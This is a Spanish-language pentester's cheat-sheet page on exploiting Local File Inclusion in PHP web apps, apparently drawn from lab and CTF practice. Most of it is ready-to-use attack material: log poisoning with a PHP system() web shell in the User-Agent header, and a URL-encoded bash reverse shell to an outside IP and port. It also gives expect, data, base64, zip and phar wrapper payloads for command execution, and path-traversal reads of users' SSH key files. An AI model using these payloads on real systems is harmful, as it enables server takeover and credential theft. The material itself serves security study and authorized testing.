Las notas de R4z0r
YoutubeLinkedInConóceme
  • Bienvenido a las notas de R4z0r
  • Web App Pentest
    • Directory traversal / Path Traversal
    • Local File Inclusion (LFI)
    • Remote File Inclusion (RFI)
    • Cross-Site Scripting (XSS)
    • Cross-Site Request Forgery (CSRF)
    • Server-Side Request Forgery (SSRF)
    • Unrestricted File Upload
    • SQL/NoSQL Injection
      • SQL Injection
      • NoSQL Injection
    • Broken Access Control (BAC)
    • Insecure Direct Object Reference (IDOR)
    • User Enumeration
    • Sensitive Cookies Missing security attributes
    • Weak Password Policy
    • Use of GET Request Method With sensitive Query Strings
    • Insufficient Protection Against Brute Forcing
    • Unverified Password Change
  • LLM Hacking
    • Prompt Injection
    • Sensitive Information Disclosure
    • Supply Chain Vulnerabilities
    • Training Data Poisoning
    • Insecure Output Handling
    • Excessive Agency
    • Model Denial of Service (DoS)
    • Insecure Plugin Design
    • Overreliance
    • Misinformation
    • System Prompt Leakage
  • External Pentest
  • Internal Pentest
  • Mobile Pentest
  • Cloud Pentest
  • API Pentest
  • PortSwigger Labs
    • LLM Attacks
Con tecnología de GitBook
En esta página
  • Definición
  • Impacto
  • LFI TO RCE via Log Poisoning
  • LFI To RCE - Abusing /proc/self/fd/X + Log Poisoning
  • Finding private keys
  • Wrappers PHP
  • Recursos
  1. Web App Pentest

Local File Inclusion (LFI)

Definición

LFI (Local File Inclusion) es una vulnerabilidad de seguridad que ocurre cuando una aplicación web permite a los usuarios incluir archivos en el servidor a través de parámetros de entrada sin una validación adecuada. Esto puede permitir a un atacante leer archivos sensibles, ejecutar scripts maliciosos o incluso tomar el control del servidor en ciertos casos.

LFI: Podemos CARGAR y EJECUTAR archivos locales en el contexto del usuario el cual está corriendo el servidor.

Impacto

  • Ejecución de código en el servidor web.

  • Ejecución de código en el cliente (como JavaScript), lo que puede causar ataques como XSS.

  • Denegación de servicio (DoS).

  • Divulgación de información confidencial.

LFI TO RCE via Log Poisoning

Esta técnica se centra en envenenar los logs con comandos para luego, al cargar dichos logs se interprete nuestro código y tengamos ejecución remota de comandos (RCE).

Rutas de logs:

Windows: C:\xampp\apache\logs
Linux: /var/log/apache2/access.log

Ejemplo en Linux:

curl https://r4z0r.gitbook.io/index.php?page=../../../../../../../../../var/log/apache2/access.log

Respuesta HTTP: 
192.168.50.1 - - [12/Apr/2022:10:34:55 +0000] "GET /index.php?page=admin.php HTTP/1.1" 200 2218 "-""Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0" 
  • Paso 1: Envenenar access.log

// Insertar en user agent: <?php echo system($_GET['cmd']); ?>

GET /index.php?page=admin.php HTTP/1.1
HOST: r4z0r.gitbook.io
User-Agent: Mozilla/5.0 <?php echo system($_GET['cmd']); ?>
Accept: ….
  • Paso 2: Ejecutar el código con curl

curl https://r4z0r.gitbook.io/index.php?page=../../../../../../../../../var/log/apache2/access.log&cmd=whoami

// en caso que se rompa la consulta con espacio usar %20 -> ls%20-la
  • Paso 3: Reverse shell

curl https://r4z0r.gitbook.io/index.php?page=../../../../../../../../../var/log/apache2/access.log&cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.119.3%2F4444%200%3E%261%22

LFI en Windows:

La explotación de LFI en Windows sólo difiere de Linux en lo que respecta a las rutas de los archivos y la ejecución del código. El fragmento de código PHP que utilizamos en esta sección para Linux también funciona en Windows, ya que utilizamos la función del sistema PHP que es independiente del sistema operativo subyacente. Cuando utilizamos Log Poisoning en Windows, debemos entender que los archivos de registro se encuentran en rutas específicas de la aplicación. Por ejemplo, en un objetivo que ejecuta XAMPP , los registros de Apache se pueden encontrar en C:\xampp\apache\logs\ .

LFI To RCE - Abusing /proc/self/fd/X + Log Poisoning

Finding private keys

En algunas situaciones no tenemos el fichero id_rsa, por lo que debemos consultar el authorized_keys y ver qué tipo de clave es:

https://r4z0r.gitbook.io/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/home/anita/.ssh/authorized_keys

Revisar que tipo de claves hay, si muestra ecdsa no va a ser id_rsa, va a ser id_ecdsa:

/home/userE/.ssh/id_ecdsa.pub    // public key
/home/userE/.ssh/id_ecdsa        // private key

Wrappers PHP

PHP Expect Wrapper

https://r4z0r.gitbook.io/index.php?page=expect://whoami

PHP Data Wrapper

https://r4z0r.gitbook.io/index.php?page=data:text/plain;,<?php echo shell_exec($_GET['cmd']);?>

curl "https://r4z0r.gitbook.io/index.php?page=data://text/plain,<?php%20echo%20system('ls');?>"

En caso de que haya firewall y no te permita meter comandos raros.

echo -n '<?php echo system($_GET["cmd"]);?>' | base64

curl "https://r4z0r.gitbook.io/index.php?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=ls"

https://r4z0r.gitbook.io/index.php?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=uname%20-a

PHP Filter Wrapper

https://r4z0r.gitbook.io/index.php?page=php://filter/resource=admin.php

curl https://r4z0r.gitbook.io/index.php?page=php://filter/convert.base64-encode/resource=admin.php

curl https://r4z0r.gitbook.io/index.php?page=php://filter/convert.base64-encode/resource=/var/www/html/backup.php

http://127.0.0.1/index.php?file=php://filter/convert.base64-encode/resource=index

http://127.0.0.1/index.php?file=php://filter/convert.base64-encode/resource=upload

curl 'http://127.0.0.1/index.php?file=php://filter/convert.base64-encode/resource=upload' -s | base64 -d

PHP Zip Wapper

echo "<?php system(%_REQUEST['cmd']); ?>" > shell.php

zip -0 payload.zip payload.php;   

mv payload.zip shell.jpg;    

hhttps://r4z0r.gitbook.io/index.php?page=zip://shell.jpg%23payload.php - donde payload.php es el contenido del zip

// ziper proving grounds
http://192.168.181.229/index.php?file=zip://uploads/upload_1716303041.zip%23shell&cmd=whoami     // Donde shell es la shell.php que subimos y cmd es el parámetro. En este caso no había que poner shell.php porque ya lo agregaba solo a la extensión

http://192.168.181.229/index.php?file=zip://uploads/upload_1716303311.zip%23php-reverse-shell

PHP Phar Wrapper

// subir un zip y cargarlo con phar - máquina resourced de hackthebox, reverse.php es la de pentest-monkey.

zip rev.zip reverse.php
itrc.ssg.htb/index.php?page=phar://uploads/faeea173dc4153f2e1c07a63da1917d51087bc30.zip/reverse

Recursos

AnteriorDirectory traversal / Path TraversalSiguienteRemote File Inclusion (RFI)

Última actualización hace 3 meses

Recomiendo utilizar: , de las mejores páginas para crear reverse shells.

Video explicativo de Savitar:

Zip Wrapper - S4vitar:

https://www.revshells.com/
https://www.youtube.com/watch?v=4VnatIievBE&ab_channel=S4viOnLive%28BackupDirectosdeTwitch%29
https://www.youtube.com/watch?v=6IO3gAtP3dc&ab_channel=S4viOnLive%28BackupDirectosdeTwitch%29
https://ironhackers.es/herramientas/lfi-cheat-sheet/
https://deephacking.tech/local-file-inclusion-lfi-web/
https://rahulk2903.medium.com/file-inclusion-tryhackme-walkthrough-99288e6dd348